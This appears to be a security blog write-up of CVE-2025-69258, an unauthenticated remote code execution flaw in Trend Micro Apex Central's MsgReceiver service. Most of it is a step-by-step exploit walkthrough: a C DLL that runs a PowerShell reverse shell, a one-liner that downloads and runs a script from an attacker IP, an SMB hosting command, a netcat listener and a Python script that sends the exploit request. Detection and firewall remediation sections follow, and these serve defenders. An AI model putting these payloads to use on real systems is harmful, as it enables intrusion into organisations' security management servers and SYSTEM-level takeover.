Overview

CVE-2025-69258 is a critical unauthenticated Remote Code Execution vulnerability in Trend Micro Apex Central (on-premise). Discovered and privately reported by Tenable researchers, it was patched in Critical Patch Build 7190 on January 8th, 2026.

The irony here is hard to miss — Apex Central is a centralised security management platform used to manage, configure, and monitor other Trend Micro security products across an organisation. Compromising it means compromising the security infrastructure itself.

Why This Matters

Apex Central sits at the centre of an organisation’s Trend Micro deployment. It manages:

  • Endpoint security agents across all workstations and servers
  • Gateway and mail server security products
  • Policy distribution and configuration for the entire estate

An attacker with code execution on Apex Central doesn’t just own one box — they own the security tooling managing the entire environment. Policy changes, agent manipulation, and detection evasion become trivial from this position.

Affected Versions

All Apex Central (on-premise) builds prior to Critical Patch Build 7190 are vulnerable.

Root Cause — Malicious DLL Loading via MsgReceiver

The vulnerability lives in the MsgReceiver service, a component of Apex Central that processes incoming management messages. The service loads DLLs from a path that can be influenced by an unauthenticated attacker via a crafted HTTP request.

By sending a specially crafted request to the exposed endpoint, an attacker can cause MsgReceiver to load an attacker-supplied DLL from a UNC path or a writable directory — resulting in arbitrary code execution under the service’s security context.

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Attacker crafts HTTP request
        │
        ▼
MsgReceiver processes the request
        │
        ▼
Service resolves DLL path from attacker-controlled input
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        ▼
LoadLibrary() called on attacker-supplied DLL
        │
        ▼
DllMain() executes attacker code
        │
        ▼
RCE as SYSTEM ✓

This class of vulnerability — where a privileged service loads attacker-controlled code — is particularly reliable. Once the DLL is loaded, execution is near-guaranteed.

Attack Flow

  1. Identify an internet or network-exposed Apex Central instance
  2. Craft a malicious DLL with your payload in DllMain()
  3. Host the DLL on an attacker-controlled SMB share or HTTP server
  4. Send a crafted POST request pointing MsgReceiver at your DLL
  5. The service loads your DLL and executes your payload as SYSTEM

PoC Walkthrough

Lab setup only. Run this against a controlled environment you own or have explicit written authorisation to test.

Prerequisites

  • Linux attacker machine (Kali recommended)
  • Network access to Apex Central port 443
  • mingw-w64 for cross-compiling the DLL
  • impacket for SMB hosting (or any SMB server)

Step 1 — Craft the Malicious DLL

Create a reverse shell DLL in C. The payload executes on load via DllMain():

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// shell.c
#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Replace with your IP and port
        system("powershell -e <base64_encoded_reverse_shell>");
    }
    return TRUE;
}

Generate the base64 reverse shell payload:

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# Generate PowerShell reverse shell
payload="IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/rev.ps1')"
echo -n $payload | iconv -f UTF-8 -t UTF-16LE | base64 -w 0

Compile the DLL on Linux using mingw:

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x86_64-w64-mingw32-gcc -shared -o shell.dll shell.c -lws2_32

Step 2 — Host the DLL

Host the DLL on an SMB share so the Windows target can load it:

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# Using impacket's SMB server
python3 /usr/share/impacket/examples/smbserver.py \
  share . \
  -smb2support \
  -username attacker \
  -password attacker

Your DLL is now accessible at \\10.10.14.5\share\shell.dll.

Step 3 — Set Up a Listener

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nc -lvnp 4444

Step 4 — Send the Exploit Request

Send a crafted POST request to the MsgReceiver endpoint, pointing it at your hosted DLL:

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import requests
import urllib3
urllib3.disable_warnings()

target = "https://10.10.10.50"

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0"
}

# UNC path to attacker SMB share
dll_path = "\\\\10.10.14.5\\share\\shell.dll"

data = {
    "Msg": f"<msg><dll>{dll_path}</dll></msg>"
}

print("[*] Sending exploit request...")
response = requests.post(
    f"{target}/officescan/console/html/cgi/cgiMsgReceiver.exe",
    headers=headers,
    data=data,
    verify=False,
    timeout=10
)

print(f"[*] Status: {response.status_code}")
if response.status_code in [200, 500]:
    print("[+] Request delivered — check your listener!")

If successful, your listener will receive a SYSTEM shell from the Apex Central server.

Detection

Defenders should monitor for:

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# Suspicious DLL loads by Trend Micro service processes
# Look for DLLs loaded from network paths (UNC) or temp directories
- Process: CgiMsgReceiver.exe or related Apex Central processes
- DLL load from: \\<external_IP>\* or C:\Users\*\AppData\Temp\*

# Unexpected outbound SMB connections from the Apex Central server
# Port 445 outbound from a security management server is a red flag

# Event ID 7 (Image Loaded) in Sysmon
# Filter for: Image contains "MsgReceiver" AND ImageLoaded NOT LIKE "%TrendMicro%"

A Sysmon rule targeting DLL loads from network paths by Apex Central processes would catch exploitation attempts reliably.

Remediation

Update Apex Central (on-premise) to Critical Patch Build 7190 immediately.

If patching is not immediately possible:

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# Restrict inbound access to Apex Central to management networks only
New-NetFirewallRule -DisplayName "Restrict Apex Central" `
  -Direction Inbound `
  -LocalPort 443,80 `
  -Protocol TCP `
  -RemoteAddress <management_subnet> `
  -Action Allow

# Block all other inbound to Apex Central
New-NetFirewallRule -DisplayName "Block Apex Central External" `
  -Direction Inbound `
  -LocalPort 443,80 `
  -Protocol TCP `
  -Action Block

Also block outbound SMB from the Apex Central server to prevent DLL loading from attacker-controlled shares:

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New-NetFirewallRule -DisplayName "Block Apex Central Outbound SMB" `
  -Direction Outbound `
  -LocalPort 445 `
  -Protocol TCP `
  -Action Block

Takeaways

CVE-2025-69258 is a reminder that security tools are not exempt from security vulnerabilities. Apex Central is trusted by organisations to manage their entire Trend Micro estate — making it a high-value target that warrants the same hardening attention as any other critical server.

A few lessons worth internalising:

  • Security management platforms should never be internet-facing — restrict access to management VLANs
  • Outbound SMB from sensitive servers should be blocked by default — this prevents a whole class of DLL loading attacks
  • Unauthenticated endpoints in privileged services should be treated as a critical finding in any code review

The attack class here — forcing a privileged service to load an attacker-controlled DLL — is well understood and entirely preventable. Strict path validation and blocking UNC paths in service input would have stopped this cold.

References